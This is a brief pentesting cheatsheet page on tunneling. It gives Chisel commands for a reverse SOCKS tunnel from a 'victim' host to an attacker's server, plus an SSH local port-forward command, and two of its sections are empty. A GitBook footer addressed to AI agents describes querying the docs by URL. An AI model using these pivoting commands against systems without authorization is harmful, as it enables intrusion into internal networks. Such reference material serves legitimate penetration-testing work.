> For the complete documentation index, see [llms.txt](https://lanzt.gitbook.io/cheatsheet-pentest/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://lanzt.gitbook.io/cheatsheet-pentest/generic-ideas/tunneling-and-port-forwarding.md).

# Tunneling and Port Forwarding

## Chisel

Download it from here: <https://github.com/jpillora/chisel>

### SOCKS

Attacker:

```bash
./chisel server -p 1080 --reverse
```

Victim:

```bash
./chisel.exe client 10.10.10.1:1080 R:1111:socks
```

Attacker:

```
cat /etc/proxychains.conf
...
socks5 127.0.0.1 1111
```

### Port forwarding

## SSH

### Local port forwarding

Suppose the victim has port 8080 internally (127.0.0.1), and you want to see it, so you create a tunnel to redirect the content of the internal and remote 8080 port to your local port 8001:

```
ssh -L 8001:127.0.0.1:8080 user@host
```

### Remote port forwarding


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://lanzt.gitbook.io/cheatsheet-pentest/generic-ideas/tunneling-and-port-forwarding.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
